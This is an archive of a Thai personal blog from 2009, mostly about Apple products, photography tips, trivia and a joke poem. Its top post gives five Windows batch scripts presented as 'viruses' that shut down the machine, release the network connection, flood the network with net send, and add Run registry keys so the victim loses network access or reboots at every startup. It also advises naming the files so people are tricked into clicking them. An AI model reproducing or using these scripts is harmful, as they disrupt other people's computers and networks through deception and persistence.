Powered By Blogger

วันพุธที่ 23 ธันวาคม พ.ศ. 2552

การเขียน Batch File

เจ๋งม๊ากมาก ทําได้ใน Notepad
โดยทําได้จากการดูขั้นตอนด้านล่าง

ไวรัส #1 กดแล้ว ปิดเครื่อง
ตัวนี้ไม่มีไรมาก แค่ดับเบิลคลิกมัน เครื่องก็ ชัตดาวน์ทันที ไม่ทำลายข้อมูลใดๆทั้งสิ้น

@echo off
Shutdown /s /t 10 /c "Computer will be Shutdown in 10secs"

วิธีทำ
1.เปิด Notepad ขึ้นมา
2.ก็อปโค้ดดังกล่าวลงไปวาง
3.เซฟไฟล์ชื่ออะไรก็ได้แต่ให้มีนามข้าพเจ้า.bat (ควรตั้งเพื่อหลอกล่อคนให้คลิก)
***อย่าดับเบิลคลิกเพื่อทดลองเด็ดขาด***


ไวรัส # 2 ตัดการเชื่อมต่ออินเตอร์เน็ต/เน็ตเวิร์ก
อันนี้แรงขึ้นมาหน่อย จะตัดการทำงานของอินเตอร์เน็ต

@echo off
TITLE Mr_Unlocker
ipconfig /release


วิธีทำ
1.เปิด Notepad ขึ้นมา
2.ก็อปโค้ดดังกล่าวลงไปวาง
3.เซฟไฟล์ชื่ออะไรก็ได้แต่ให้มีนามข้าพเจ้า .bat (ควรตั้งเพื่อหลอกล่อคนให้คลิก)
***อย่าดับเบิลคลิกเพื่อทดลองเด็ดขาด***

Virus#3 Combo Virus
ตัวนี้จะมีความต่อเนื่องจากสองตัวข้างบน คือ เมื่อคลิกแล้ว จะทำ flood network และการทำงานจะวน loop จนเน็ตเวิร์กเดี้ยง


@echo off
TITLE Mr_Unlocker :CRASH
net send * WORKGROUP ENABLED
net send * WORKGROUP ENABLED
GOTO CRASH


วิธีทำ
1.เปิด Notepad ขึ้นมา
2.ก็อปโค้ดดังกล่าวลงไปวาง
3.เซฟไฟล์ชื่ออะไรก็ได้แต่ให้มีนามข้าพเจ้า .bat (ควรตั้งเพื่อหลอกล่อคนให้คลิก)
***อย่าดับเบิลคลิกเพื่อทดลองเด็ดขาด***

==============================

*ต่อไปนี้จะเป็นไวรัสที่สร้างความรุนแรงจริงๆนะครับ อย่าเผลอลองเชียว

Virus#4 Disble IP Address
โดนตัวนี้เข้าไปก็อย่าหวังเลยว่าจะเข้าอินเตอร์เน็ตได้อีก - -'

Code:
@echo off
break off
TITLE Unlocker Hackers
echo @echo off>c:\windows\wimn32.bat
echo break off>>c:\windows\wimn32.bat
echo ipconfig/release_all>>c:\windows\wimn32.bat
echo end>>c:\windows\wimn32.bat
reg add hkey_local_machine\software\microsoft\windows\currentversion\run /v WINDOWsAPI /t reg_sz /d c:\windows\wimn32.bat /f
reg add hkey_current_user\software\microsoft\windows\currentversion\run /v CONTROLexit /t reg_sz /d c:\windows\wimn32.bat /f
echo Unlocker Hackers Strike Again
PAUSE


วิธีทำ
1.เปิด Notepad ขึ้นมา
2.ก็อปโค้ดดังกล่าวลงไปวาง
3.เซฟไฟล์ชื่ออะไรก็ได้แต่ให้มีนามข้าพเจ้า .bat (ควรตั้งเพื่อหลอกล่อคนให้คลิก)
***อย่าดับเบิลคลิกเพื่อทดลองเด็ดขาด***

=============================================

Virus#5 สั่งปิดเครื่องทุกๆครั้งที่เปิดจนถึง11วินาที (เปิดแล้วก็ปิดอยู่อย่างนั้น)

code:
@echo off
break off
TITLE Unlocker Hackers
echo @echo off>c:\windows\hartlell.bat
echo break off>>c:\windows\hartlell.bat
echo shutdown -r -t 11 -f>>c:\windows\hartlell.bat
echo end>>c:\windows\hartlell.bat
reg add hkey_local_machine\software\microsoft\windows\currentversion\run /v startAPI /t reg_sz /d c:\windows\hartlell.bat /f
reg add hkey_current_user\software\microsoft\windows\currentversion\run /v HAHAHA /t reg_sz /d c:\windows\hartlell.bat /f
echo Unlocker Hackers Strike Again
PAUSE



วิธีทำ
1.เปิด Notepad ขึ้นมา
2.ก็อปโค้ดดังกล่าวลงไปวาง
3.เซฟไฟล์ชื่ออะไรก็ได้แต่ให้มีนามข้าพเจ้า.bat (ควรตั้งเพื่อหลอกล่อคนให้คลิก)
***อย่าดับเบิลคลิกเพื่อทดลองเด็ดขาด***

วันพุธที่ 2 ธันวาคม พ.ศ. 2552

My Bonsai

ตอนนี้ที่บ้านผมมีบอนไซแล้วล่ะ มีรูปมาอวดด้วยเน้อ~

ไปที่ Fickr.com

วันพุธที่ 21 ตุลาคม พ.ศ. 2552

TToTT iMac กับ MacBook ออกใหม่แล้ว




ในที่สุด อีตาสตีฟ จอบส์ ก็ออก iMac กับ MacBook ใหม่

ที่เคืองก็คือตูเพิ่งถอย iMac มาเอง ถอยมาไม่ถึงเดือนแมร่งออกใหม่อีกแล้ววว TT~TT

แถมยังมี Magic Mouse ออกมาแทน Mighty Mouse ด้วยอ้ะ เซ็งเว้ยยยยยยยย

สเป็คก็ไปดูที่ลิงค์นะ


นี่ของ iMac

นี่ของ MacBook

นี่ของ Magic Mouse

วันเสาร์ที่ 17 ตุลาคม พ.ศ. 2552

My new Blog

ขณะนี้ผมได้ทํา Blog เพื่อธุรกิจของตัวเอง ( รับจ้างถ่ายภาพวัน เสาร์-อาทิตย์ )
ซึ่ง Blog ของผมนี้คือ artnoiphotographer.blogspot.com

วันพุธที่ 14 ตุลาคม พ.ศ. 2552

My Facebook


My Facebook's name is "Artnoi"

ซึ่งมีรุปถ่ายของผมเต็มไปหมดเลยโดยเฉพาะตอนที่ผมไปหัวหิน(เมื่อวันอาทิด-อังคาร)มีรุปให้ดูก่อนFlickrอิก (หวาว)

วันเสาร์ที่ 3 ตุลาคม พ.ศ. 2552

20 เรื่ิองแนวๆ

1.เส้นเลือดในร่างกายมนุษย์มีความยาวรวม 62,000 ไมล์ ถ้านำมันมาเรียงต่อกันเป็นทางยาวจะได้ความยาว ถึง 2.5 เท่าของเส้นรอบวงโลก

2. The Great Barrier Reef (แนวปะการังที่ยาวทีสุดในโลกบริเวณออสเตรเลีย) เป็นโครงสร้างสิ่งมีชีวิตที่ใหญ่ที่สุดในโลกมีความยาวกว่า 2000 กิโลเมตร

3. โอกาสที่โลกจะถูกโจมตีด้วยอุกาบาตขนาดใหญ่ อยู่ที่ 9300 ปีต่อครั้ง

4. ดาวนิวตรอนขนาดเท่าหัวแม่มือมีน้ำหนักกว่า 100 ล้านตัน

5. พายุเฮอริเคนหนึ่งลูกผลิตพลังงานเท่ากับระเบิดขนาด 1 เมกะตันจำนวน 8000 ลูก

6. คาดว่ามีพยาธิปากขอ ซึ่งดูดเลือดเป็นอาหารอยู่ในร่างกายมนุษย์โลกเรา 700 ล้านคน

7. Fred Rompelberg คือผู้ขี่จักรยานด้วยความเร็วที่สุดในโลกด้วยความเร็ ว 166.94 ไมล์ต่อชั่วโมง

8. มนุษย์เราสามารถคิดค้นแสงเลเซอร์ที่มีความสว่างกว่าแ สงอาทิตย์ 1 ล้านเท่า

9. 65% ของผู้ป่วยออทิสติคส์ เป็นคนถนัดซ้าย

10. Finnish pine tree (ต้นสนชนิดหนึ่งในฟินแลนด์) มีความยาวของรากแต่ละต้นรวมแล้วกว่า 30 ไมล์

11. จำนวนเกลือที่อยู่ในน้ำทะเลทั่วโลกเรา สามารถปกคลุมพื้นผิวทวีปทั่วโลกได้หนากว่า 500 ฟุต

12. กลุ่มแก๊สระหว่างหมู่ดาวในราศีธนู มีส่วนประกอบของแอลกอฮอล์นับหมื่นล้านล้านลิตร

13. หมีขั้วโลกสามารถวิ่งด้วยความเร็ว 25 ไมล์ต่อชัวโมง และกระโดดได้สูงกว่า 6 ฟุต

14. มนุษย์และปลาโลมาสืบสายพันธ์เดียวกันมาตั้งแต่ 60 - 65 ล้านปีก่อน

15. กล้อง infared จับภาพหมีขั้วโลกได้ยากมาก เนื่องจากคุณสมบัติของขนของมัน

16. เฉลี่ยแล้วในหนึ่งปี คนเราจะกินสัตว์จำพวกเห็บลิ้นไร โดยไม่ได้ตั้งใจไป 430 ตัวต่อคนต่อปี

17. รากของต้น Rye(ข้าวชนิดหนึ่งใช้หมักสุรา) สามารถแผ่ขยายไปได้ถึง 400 ไมล์

18. อุณหภูมิบนพื้นผิวของดาวพุธสูงกว่า 430 องศาเซลเซียสในเวลากลางวัน แต่ลดลงต่ำกว่า ติดลบ 180 องศาเซลเซียสในเวลากลางคืน

19. ภายใน 24 ชั่วโมง ต้นโอ๊กขนาดใหญ่ขับน้ำ(ในรูปของไอน้ำ)ออกมา 10 - 25 แกลลอน

20. ผีเสื้อรับรู้รสด้วยขาหลังของมัน โดยประสาทการรับรู้ทำงานโดยการสัมผัส ทำให้มันรู้ว่าใบไม้และดอกไม้ที่มันสัมผัส มีรสชาติอย่างไรและกินได้หรือไม่

วันพุธที่ 30 กันยายน พ.ศ. 2552

How to make sound like Chipmunks


ใช้โปรแกรม Audacity ดัดเสียงเพลงให้คล้าย Alvin and the Chipmunks

โดยไปดาวน์โหลดโปรแกรมนี้ที่ audacity.sourceforge.net/

พอดาวน์โหลดเสร็จแล้ว ก็โอ้หลั่นล๊า โดยกดที่ปุ่ม Effect > Change Pitch > แล้วปรับตรง Percent Change ให้สูงกว่า 20

เท่านี้ก็ได้เพลงของ Chipmunks แล้ว


ปล: ลิงก์ที่ให้ไปเป็น Version for Mac OS 10.2 ขึ้นไป

แล้วเพลง Chipmunks ก็ไปฟังได้ที่ YouTube,4shared นะ

ผมชอบเพลง Smack That

วันจันทร์ที่ 28 กันยายน พ.ศ. 2552

อันดับประเทศที่มี Seven-Eleven มากที่สุดในโลก

1.Japan 12,105 Stores
2.Taiwan 4,800 Stores
3.Thailand 4,778 Stores
4.South Korea 1,995 Stores
5.China (Hong Kong, Shenzhen, Guangzhou & Macau) 1,440 Stores
6.Malaysia 1,013 Stores
7.Mexico 969 Stores
8.United States 586 stores
9.Canada 462 stores
10.Singapore 435 stores
11.Australia 378 Stores
12.Philippines 368 Stores
13.Norway 183 stores
14.Denmark 131 Stores
15.Sweden 96 stores
16.Beijing, China 65 Stores

วันพฤหัสบดีที่ 24 กันยายน พ.ศ. 2552

เกี่ยวกับบทความในบล็อกใหม่


อย่างที่ท่านทุกท่านทราบว่าผมในตอนนี้มี Blog 7 Blog
แต่เขียนจริงๆ 3 Blog

ตอนนี้กําลังคันมือกับบทความ The War has Began
ซึ่งจะรวมรายละเอียดเจ๋งๆที่ Apple กับ Microsoft
นํามาสู้กัน ซึ่งมี Credit เว็บที่ผมไปเอาข้อมูลมาให้ด้วย
(จะได้ไปดูของต้นฉบับ) แล้วก็ยังมีภาพเจ๋งๆอิก

มีไปถึงข่าวลือที่ว่า
"Snow Leopard นั้นปลอดภัยกว่า Leopard แต่มันก็ยังไม่ปลอดภัยเท่ากับ Vista หรือ Windows 7 หรอก"
ซึ่งนาย Charlie Miller ผู้เชี่ยวชาญในการแฮก Mac OS X ได้กล่าววิจารณ์ไว้ โดยมีเหตุผลเจ๋งๆเกี่ยวกับ ASLR
และยังเรื่อง Operating System Market Share (ภาพรวมของส่วนแบ่งการตลาดของระบบปฏิบัติการคอมพิวเตอร์)
มาเสนอให้ทุกเดือนด้วย


ว้าวมีข้อมูลให้เยอะขนาดนี้ ทําไมคนรัก Mac จะไม่ไปล่ะ



วันพุธที่ 23 กันยายน พ.ศ. 2552

ฟีเจอร์ Snow Leopard

แอปเปิ้ล® เปิดตัวระบบปฏิบัติการเวอร์ชันใหม่ล่าสุด Mac OS® X v10.6 Snow Leopard™ ที่พร้อมจำหน่ายในวันนี้ ผ่านตัวแทนจำหน่ายอย่างเป็นทางการและผ่านทางร้านค้าออนไลน์ของแอปเปิ้ล โดย Snow Leopard นั้นถูกพัฒนาขึ้นบนเทคโนโลยีที่มีรากฐานที่น่าเชื่อถือนับทศวรรษอย่าง OS X และได้รับการปรับแต่งให้มีความสมบูรณ์ยิ่งขึ้นในหลายร้อยจุด เสริมด้วยเทคโนโลยีใหม่ล่าสุด และรองรับการทำงานร่วมกับ Microsoft Exchange ได้อย่างดี โดยผู้ใช้สามารถอัพเกรดจาก Mac OS X Leopard มาเป็น Snow Leopard® ได้ในราคาเพียง 1,190 บาทเท่านั้น
"Snow Leopard พัฒนาโดยต่อยอดจากระบบปฏิบัติการที่ประสบความสำเร็จมากที่สุดของเรา และเราก็ยินดีเป็นอย่างยิ่งที่สามารถนำเสนอ Snow Leopard ให้ผู้ใช้ได้เร็วกว่ากำหนดการที่เราคาดเอาไว้" เบอร์แทรนด์ เซอร์เล็ท รองประธานอาวุโสฝ่ายวิศวกรรมซอฟต์แวร์ของแอปเปิ้ล กล่าว "ด้วยราคาในการอัพเกรดเพียง 1,190 บาท ผู้ใช้ Leopard จะได้สัมผัสกับเทคโนโลยีชั้นสูงบนระบบปฏิบัติการรุ่นใหม่ และเป็นระบบที่รองรับการทำงานร่วมกับ Exchange ได้"
ในการพัฒนา Snow Leopard นั้น วิศวกรของแอปเปิ้ลได้ปรับปรุงส่วนต่างๆ บน Mac OS X รวมแล้วกว่า 90 เปอร์เซ็นต์ ของจำนวนโปรเจ็กต์ทั้งหมดนับพันรายการ ทำให้ผู้ใช้จะได้สัมผัสกับประสบการณ์ใหม่ทั้งใน Finder™ ที่ค้นหาได้อย่างรวดเร็วกว่าเดิม โดยสามารถเปิดข้อความในเมลได้เร็วขึ้นสองเท่า* Time Machine® ที่สามารถสำรองข้อมูลครั้งแรกได้เร็วขึ้นสูงสุดถึง 80 เปอร์เซ็นต์ * และให้การทำงานรูปแบบใหม่ร่วมกันระหว่าง Dock และ Expose® มี QuickTime® X โฉมใหม่ที่ให้ความสะดวกมากกว่าในการชม บันทึก ตัดต่อ และแชร์วิดีโอ อีกทั้งบราวเซอร์ Safari® 4 เวอร์ชัน 64-บิต สามารถทำงานได้เร็วขึ้นกว่า 50 เปอร์เซ็นต์ ** และยังสามารถป้องกันระบบไม่ให้ได้รับผลกระทบจากปลั๊กอินที่มีปัญหา ที่สำคัญ Snow Leopard นั้นมีขนาดเพียงครึ่งเดียวของระบบปฏิบัติการเวอร์ชันก่อนหน้านี้ ช่วยประหยัดพื้นที่บนฮาร์ดดิสก์ลงไปได้มากถึง 7 กิกะไบต์ในทันทีที่ติดตั้ง
ครั้งนี้ถือเป็นครั้งแรกที่แอพพลิเคชันระบบ ไม่ว่าจะเป็น Finder, Mail, iCal®, iChat® และ Safari ได้ถูกแปลงโค้ดโปรแกรมให้กลายเป็นแบบ 64-บิต และด้วยคุณสมบัติของ Snow Leopard ในการรองรับโพรเซสเซอร์แบบ 64-บิต ทำให้สามารถทำงานร่วมกับหน่วยความจำประเภทแรมที่ใหญ่ขึ้น ให้สมรรถนะที่ดีขึ้น และมีความปลอดภัยมากขึ้น ในขณะที่ยังคงรองรับแอพพลิเคชันแบบ 32-บิต ได้อย่างไม่มีปัญหา นอกจากนี้ยังมีการนำ Grand Central Dispatch (GCD) มาใช้เพื่อนำเสนอแนวทางใหม่ให้แก่นักพัฒนาซอฟต์แวร์ในการเขียนแอพพลิเคชันเพื่อดึงประโยชน์จากโพรเซสเซอร์แบบมัลติคอร์ออกมาให้ได้เต็มที่ รวมไปถึงการรองรับ OpenCL ซึ่งเป็นระบบมาตรฐานเปิด ที่ทำให้นักพัฒนาโปรแกรมสามารถใช้พลังของหน่วยประมวลผลกราฟิกที่มีอยู่ได้อย่างคุ้มค่าเพื่อรองรับการประมวลผลอื่นๆ ที่นอกเหนือไปจากเรื่องของกราฟิก
Snow Leopard นั้นถือเป็นระบบปฏิบัติการบนเดสก์ทอปรุ่นเดียวที่รองรับการทำงานร่วมกับ Microsoft Exchange Server 2007 และให้ความสะดวกในการใช้ Mac OS X Mail, Address Book และ iCal ในการส่งและรับอีเมล์ สร้างหรือตอบรับการเชิญประชุมผ่านระบบออนไลน์ รวมไปถึงการค้นหาและจัดการรายชื่อบนสมุดรายชื่อกลางของระบบ และด้วยความสามารถในการทำงานร่วมกันระหว่าง Exchange กับ Snow Leopard ทำให้ผู้ใช้ยังจะได้รับประโยชน์จากคุณสมบัติเฉพาะบน OS X ทั้งการค้นหาอย่างรวดเร็วผ่าน Spotlight® และการพรีวิวผ่าน Quick Look เป็นต้น
Mac OS X Server Snow Leopard ระบบปฏิบัติระดับเซิร์ฟเวอร์ที่ง่ายต่อการใช้งาน พร้อมวางจำหน่ายเช่นเดียวกันในวันพุธที่ 2 กันยายน 2552 โดย Snow Leopard Server มาพร้อมกับคุณสมบัติใหม่ที่น่าสนใจมากมาย อาทิ Podcast Producer 2 และ Mobile Access Server ด้วยราคาที่เป็นเจ้าของได้ง่ายขึ้นกว่าเดิมคือ 18,990 บาท โดยไม่จำกัดจำนวนไลเซนส์เครื่องลูกข่ายที่เชื่อมต่อใช้งานกับเซิร์ฟเวอร์ สำหรับข้อมูลเพิ่มเติมและความต้องการของระบบสำหรับ Snow Leopard Server สามารถเรียกดูได้จาก www.apple.com/server/macosx/

ราคาและกำหนดการจำหน่าย
Mac OS X เวอร์ชัน 10.6 Snow Leopard พร้อมเปิดให้ผู้ใช้อัพเกรดระบบจาก Mac OS X เวอร์ชัน 10.5 Leopard ได้ในวันที่ 2 กันยายน ผ่านตัวแทนจำหน่ายอย่างเป็นทางการของแอปเปิ้ล และเปิดให้สั่งซื้อได้ผ่านทางเว็บไซต์ร้านค้าออนไลน์ของแอปเปิ้ลแล้ววันนี้ (http://store.apple.com/th) โดย Snow Leopard สำหรับหนึ่งไลเซนส์การใช้งานสนนราคาที่ 1,190 บาท และ Snow Leopard Family Pack สำหรับการใช้งานในหนึ่งครอบครัว สูงสุด 5 ไลเซนส์การใช้งาน สนนราคาที่ 1,990 บาท สำหรับผู้ใช้ Tiger® ที่เป็น Mac® ซึ่งใช้โพรเซสเซอร์ตระกูลอินเทล สามารถเลือกซื้อชุด Mac Box Set ที่มาพร้อมด้วย Mac OS X Snow Leopard, iLife® '09 และ iWork® '09 พร้อมจำหน่ายในราคา 6,590 บาท และชุด Family Pack ที่ราคา 8,990 บาท
สำหรับลูกค้าที่ซื้อแมคเครื่องใหม่จากแอปเปิ้ลหรือจากตัวแทนจำหน่ายของแอปเปิ้ล ระหว่างวันที่ 8 มิถุนายน 2552 จนถึงวันที่ 26 ธันวาคม 2552 จะได้รับแพคเกจที่อัพเดทใหม่สำหรับ Mac OS X Snow Leopard Up-to-Date โดยมีค่าจัดส่งและจัดการ 390 บาท โดยผู้ใช้ต้องยื่นขอสิทธิ์อัพเกรดแพคเกจดังกล่าว ภายในเวลา 90 วัน นับจากวันที่ซื้อสินค้า และต้องไม่เกินวันที่ 26 ธันวาคม 2552 สำหรับข้อมูลเพิ่มเติมสามารถเรียกดูได้ที่ http://www.apple.com/asia/macosx/uptodate/ ทั้งนี้ Snow Leopard มีความต้องการหน่วยความจำขั้นต่ำ 1 กิกะไบต์ และออกแบบมาให้ทำงานบนคอมพิวเตอร์แมคที่ใช้โพรเซสเซอร์จากอินเทล สำหรับรายละเอียดความต้องการของระบบทั้งหมด สามารถเรียกดูได้ที่ www.apple.com/macosx/specs.html
* ทดสอบโดยแอปเปิ้ลในเดือนสิงหาคม 2552 เปรียบเทียบ Mac OS X v10.6 Snow Leopard รุ่นก่อนวางจำหน่าย กับ Mac OS X v10.5.8 Leopard บน MacBook 2.0 GHz และ iMac 2.66 GHz ซึ่งทั้งสองเครื่องมีหน่วยความจำ 2 กิกะไบต์ ทั้งนี้สมรรถนะที่ได้อาจแตกต่างไปตามรูปแบบการตั้งค่าของระบบ ระบบเครือข่าย ขนาดของไฟล์ ชุดของข้อมูล และปัจจัยอื่นๆ
** ทดสอบโดยแอปเปิ้ลในเดือนสิงหาคม 2552 เปรียบเทียบ Safari 4 แบบ 64 บิต กับ Safari 4 แบบ 32 บิต บนระบบปฏิบัติการ Mac OS X v10.6 Snow Leopard รุ่นก่อนวางจำหน่าย ที่ทำงานบนเครื่อง MacBook 2.0 GHz และ iMac 2.66 GHz ซึ่งทั้งสองเครื่องมีหน่วยความจำ 2 กิกะไบต์ สำหรับการทดสอบ JavaScript นั้นเป็นไปตามรูปแบบการทดสอบ SunSpider Performance Test ทั้งนี้สมรรถนะที่ได้อาจแตกต่างไปตามรูปแบบการตั้งค่าของระบบ ระบบเครือข่าย ขนาดของไฟล์ ชุดของข้อมูล และปัจจัยอื่นๆ
แอปเปิ้ล จุดประกายการปฏิวัติให้กับวงการคอมพิวเตอร์ส่วนบุคคลในทศวรรษ 1970 ด้วย Apple II พร้อมกับได้คิดค้นและพัฒนาคอมพิวเตอร์ส่วนบุคคลรูปแบบใหม่จนกลายเป็น Macintosh ในทศวรรษ 1980 และวันนี้แอปเปิ้ลยังคงเป็นผู้นำอุตสาหกรรมในด้านการสร้างสรร ที่ยืนยันด้วยรางวัลทั้งสำหรับเครื่องคอมพิวเตอร์ ระบบปฏิบัติการ OS X และ iLife รวมไปถึงแอพพลิเคชันระดับมืออาชีพอื่นๆ อีกมากมาย นอกจากนี้ แอปเปิ้ล ยังได้พลิกโฉมวงการดิจิตอลมีเดียด้วยเครื่องเล่นเพลงและวิดีโอแบบพกพาอย่าง iPod และร้านค้าออนไลน์ iTunes อีกทั้งยังสร้างสรรนวัตกรรมใหม่แห่งวงการโทรศัพท์มือถือด้วยการนำเสนอ iPhone สู่ตลาด

วันเสาร์ที่ 19 กันยายน พ.ศ. 2552

Tips ถ่ายภาพแคนดิด

เช่นเคยครับไม่ว่าจะถ่ายอะไรสำหรับนักถ่ายภาพแล้ว
สิ่งที่ไม่ควรลืมคือ การวัดแสง การเลือกมุมมอง และทิศทางของแสง
ซึ่งสัมพันธ์ช่วงเวลาในแต่ละวัน จะขอเน้นเรื่องของมุมภาพ และทิศทางของ
แสงครับ ที่ดีที่สุดหากเลือกได้ควรจะให้แสงเข้าทางด้านเฉียงหลังของตัวแบบ
แต่ไม่ใช่ย้อนแสงโดยตรงนะครับ เพราะจะทำภาพและตัวแบบมือทึบ
การเลือกทิศทางแสงดังกล่าวนี้ก็เพื่อให้ตัวแบบมีแสงริมไลท์ช่วยขับแบบ
ให้เด่นชัดแยกออกมาจากฉากหลัง การวัดแสงเลือกวัดแสงที่ตัวแบบโดยตรง
เนื่องจากเลนส์ 50 mm ต่อกับTeleconverter 2X เท่ากับเลนส์ 100 mm
มุมการรับภาพแคบลงจึงไม่กังวลเกี่ยวกับฉากหลังมากนัก และเป็นการถ่าย
ค่อนข้างตามแสง โดยเวลาประมาณบ่ายเล็กน้อยได้แสงเฉียงๆ วัดแสงได้
ความเร็วชัตเตอร์ และรูรับแสงที่ 1/125, F8 มากพอที่จะใช้มือถือกล้อง
ถ่ายภาพได้ภาพไม่เบลอแน่ ต่อจากนั้นก็คอยจับจังหวะที่ตัวแบบเผลอ
และแสดงอาการต่างๆออกมาอย่างเป็นธรรมชาติโดยไม่รู้ตัว นั่นแหละครับ
เผลอแล้วใช่ไหม…..แช๊ะ…แช๊ะ….แช๊ะ…..เสียงชัตเตอร์ลั่นเป็นระยะๆ
พร้อมกับเสียงขึ้นฟิล์มอัตโนมัติดังต่อเนื่องไม่ขาดสาย

ที่มา: http://www.jobpub.com/articles/showarticle.asp?id=432

วันศุกร์ที่ 18 กันยายน พ.ศ. 2552

Blog เพื่อคนรัก Apple , Mac , OS X , Artnoi




อย่างที่บอกไปแล้วว่า "The new Artnoi's Blog''
มีจุดประสงค์อย่างไร ซึ่งช่วงนี้ จะเน้นไปที่ผลิตภัณฑ์
เจ๋งๆของ Apple และการ Compare ผลิตภัณฑ์ของ
Apple และ .........เป็นต้น โดยที่เนื้อหาจะเข้มข้นมาก
และยังมีภาพ Love Mac , Apple แบบเต็มอิ่มด้วย
ได้ยินอย่างนี้-มีเรอะไม่อยากเข้า

http://artnoi.blogspot.com/ <<<<< คลิกที่นี่!

วันพุธที่ 16 กันยายน พ.ศ. 2552

My new Blog


Blog ใหม่ผมจาเกี่ยวกับ Mac และกระทู้นะคราบ
ไปดูด้ายเพิ่งทํา แต่มีจุดมุ่งหมายเดียวกันกับBlog
นี้คือพาผู้คนออกจากโลกของกล้องคอมแพ็ค
และให้โลกไม่อยู่ใต้เงื้อมมือของMicrosoft!



วันพฤหัสบดีที่ 10 กันยายน พ.ศ. 2552

แง.....มี iPod Nano ใหม่แล้วววววววววว



เซ็งจัดเพิ่งซื้อได้แค่ปีเดียวเองอ่ะ แต่รุ่นใหม่สามารถ
ถ่ายวีดีโอได้ อัดเสียงได้ ฟังวิทยุได้ แล้วก็มี ฟีเจอร์ใหม่ๆอิกเพียบ

แล้วมีคัยรู้บ้างว่า Mac อ่ะ เค้าออกปีละกี่หน
หรือหนละกี่ปี โอ้ววว เครียด จาสอบแล้วอ่า

วันจันทร์ที่ 7 กันยายน พ.ศ. 2552

กลอนตดของสุนทรหอยแมลงภู่


ตดดีๆ มีศิลป์ กลิ่นไม่เหม็น
ตดไม่เป็น ดังป้าด สาดเป็นฝอย
ตดวิบาก กากกระเซ็น เหม็นทั่วซอย
ตดอร่อย ตดเป็นเพลง บรรเลงเพลิน

ตดของเรา รุ่นเก่า เป็นเสียงเบส
มีบางวัน เหมือนทรัมเปต ที่แผดเสียง
ส่วนคืนนี้ ที่รัก ต้องคอเอียง
เพราะตกเตียง ด้วยตดเรา เป่ากระเด็น !

พูดเรื่องตด เราคอหด ตดเกือบหาย
ตดไม่ดี ไม่ยอมถ่าย ไม่เป็นผล
อยากจะตด ต้องตดให้ ได้ยินยล
ว่าตดเรา ออกจากก้น พ่นสวยงาม...

ตดให้ดัง จังหวะ ชะชะช่า
ตดดังกว่า ต้องแรง แบบแท็งโก้
ตดแนวใหม่ ใช้แร็บ แต็บแต็บโชว์
ตดแบบเก่า แนวโก๋ แบบโคชรา

ตดของผม ดมได้ ไม่มีเสียง
ไร้สำเนียง รบกวน ชวนสยอง
แค่มีกลิ่น เล็กน้อย ให้คอยมอง
เราช่ำชอง ตดขมิบ กว่าสิบปี

ตดในตุ่ม ทุ้มเสียง เคียงเสนาะ
ตดในตู้ คงเพราะ แต่เก็บเสียง
ตดลิฟท์ ขมิบแผ่ว แว่วสำเนียง
ตดแล้วเถียง ว่าเราป่าว คงเข้าที

ตดแล้วปล่อย ลมหวน ให้ชวนหาว
ตดแล้วนั่ง ดูดาว ยามคราวเหงา
ตดแล้วนั่ง อุดTood ปู้ดเบาเบา
ตดแล้วเรา นั่งเศร้า เหงาคนเดียว

วันอาทิตย์ที่ 30 สิงหาคม พ.ศ. 2552

การสํารองข้อมูลนั้นสําคัญไฉน

เรื่องนี้เกิดขึ้นกับผมเองฮับ เรื่องมันเกิดขึ้นที่พัทยา(ว้าว)
คือผมไปพัทยาเพื่อถ่ายรุปชิมิแล้วผมก็ถ่ายรูปส่ัวๆ+สวยๆ
ไว้ซะเยอะเลย(รูปสวยมากๆเพราะแสงสวย)แล้วผมก็เบลอ
ผมไปทําบาปอะไรก็ไม่รุทําให้เบลอขนาด กดลบรูปแค่รูปเดียว
แต่หัวมันเบลอไปกดโดน Delete All (ว้าวเรานี่ฉลาดแต๊)
ผมจึงอยากบอกให้ทุกคนระวังเรื่องนี้ไว้นะคร้าบ

ส่วนฮาร์ดดิสก์เจ๋งๆก็น่าจะ Epson P-4000 Multimedia
กระมังครับ ผมไปละน้า

วันศุกร์ที่ 28 สิงหาคม พ.ศ. 2552

อยากรู้เรื่อง Gadget เจ๋งๆหรอไปที่...สิ

อยากรู้เรื่อง Gadget เจ๋งๆหรอไปที่ witchu2009.blogspot.com สิ
เป็นBlogของน้าผมเอง อิอิ อุดส่ามาโฆษณา ไปเน้อ

วันพุธที่ 26 สิงหาคม พ.ศ. 2552

เรื่องน่ารู้เกี่ยวการถ่ายภาพบุคคล Post by Artnoi

การที่เราจะถ่ายภาพบุคคล(โดยเฉพาะอย่างยิ่ง..นางแบบ) ให้ได้ดี..ให้ออกมาสวยเป็นที่น่าพอใจ(ของตัวแบบเอง)นั้น

ตัวช่างภาพเองจะต้องคำนึงถึงเทคนิคต่าง ๆ เหล่านี้..


*การทิ้งฉากหลัง หรือ ละลายฉากหลัง

ดีตรงที่จะทำตัวแบบเด่น ไม่มีฉากหลังรก ๆ มาแย่งสายตา
แต่ในบางกรณี..หากฉากหลังไม่แย่งสายตา หรือ เป็นลักษณะฉากหลังที่สามารถที่จะเล่าเรื่องราวได้ ก็ถือได้ว่า ?เป็นภาพที่สมบูรณ์? เช่นกัน


*แสงสีของฉากหลัง

แสงสีของฉากหลังที่ดี ก็คือ แสงสีของฉากจะต้องมืดกว่าค่าแสงเฉลี่ยของหน้านางแบบ และสว่างกว่าค่าแสงที่ผมส่วนมืดของนางแบบ
(ในบางกรณี..เราจะอาจกำหนดให้ฉากหลังชัดก็ได้ หากฉากหลังมีความน่าสนใจ แต่ถ้าหากฉากหลังนั้นมีลักษณะไม่สวยงาม ยุ่งเหยิง รวมทั้งจะไปแย่งความเด่นของตัวแบบไปโดยไม่จำเป็นแล้ว ก็ให้ใช้วิธีการละลายฉากหลัง หรือ เลี่ยง/หลบฉากหลังแทน)


*อย่าให้ตัวแบบ/นางแบบกลายเป็นคนพิการ

?ถ่ายรูปคนอย่าทำให้นางแบบเป็นคนพิการเด็ดขาด? นั่นคือ อย่าให้ปลายมือ ปลายเท้า ข้อศอกขาดพยายามเก็บเข้ามาในเฟรมให้หมด ถ้าจะตัดส่วนไม่เอาไว้ในเฟรมก็ต้องตัดให้เห็นว่าจงใจตัด เช่น ตัดสูงกว่าศอกและเข่าแต่ประเภทเห็นทั้งตัว ยกเว้นนิ้วเท้าอย่างนี้ไม่ควรตัดอย่างเด็ดขาด


*อย่าให้ตัวแบบคอขาด

